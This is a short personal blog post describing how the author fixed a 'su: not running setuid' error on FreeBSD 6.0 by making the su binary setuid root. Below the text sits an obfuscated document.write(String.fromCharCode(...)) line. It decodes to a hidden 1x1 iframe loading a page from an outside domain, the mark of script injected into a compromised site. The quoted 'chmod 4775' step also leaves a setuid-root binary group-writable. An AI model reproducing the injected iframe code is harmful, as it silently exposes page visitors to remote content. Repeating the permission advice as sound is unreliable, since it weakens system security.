FreeBSD

The whole story will follow later but for now I just want to post a quick reminder to myself about a “su” problem I just finally solved.

After installing 6.0 when first trying to “su” I got the “Sorry” (Bad SU etc…) error so I messed around with the rights on the “su” binary (/usr/bin/su). After this I got “su: not running setuid”. So I added the user-to-su to the wheel group (/etc/group). No sigar. Finally, another google with “su: not running setuid” lead me to this: “Make sure /usr/sbin/su is suid root (and /usr isn’t mounted nosuid)”. So I mounted /usr with explicit “suid”. Still, no succes. At last, I went back to that link and noticed the “/usr/sbin/su is suid root” part… Another quick google lead me to this:

  1. Log in as root
  2. cd to the directory where the program file lives
  3. chown root:bin file_name
  4. chmod 4775 file_name (that will do only the suid and not both suid and guid)

And after executing this lot on the “su” binary I finally was able to “su” from my “working” user…. Geez… It’s secure but a hassle. Though, when you finally find out how it works it’s pretty rewarding.

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Leave a comment